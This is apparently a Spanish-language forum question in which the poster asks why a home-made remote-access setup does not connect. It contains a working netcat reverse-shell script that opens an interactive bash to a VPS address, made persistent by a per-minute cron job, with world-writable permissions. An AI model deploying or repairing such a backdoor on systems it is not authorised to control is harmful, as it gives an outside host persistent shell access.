Configuré una conexión en mi máquina personal, usando este código:
#!/bin/bash
n=$(ps aux | grep -o [1]234)
if [[ $n = "" ]]; then
mkfifo f
nc VPS_IP_ADDRESS_HERE 1234 < f | /bin/bash -i > f 2>&1
fi
Quiero conectarme desde otra máquina diferente en una red diferente, ¡así que compré un VPS! Reemplacé el texto VPS_IP_ADDRESS_HERE
con la dirección IP de mi VPS. Luego me aseguré de darle permisos al script con chmod 777 /etc/whatever
. También hice un crontab para asegurarme de que el script bash se ejecute cada minuto y lo configuré con el siguiente código:
* * * * * /etc/whatever
Ahora, en una máquina diferente, entré por SSH al VPS e hice el comando, nc -l -p 1234
¡pero no se produjeron conexiones ni nada parecido! ¡Por favor ayuda!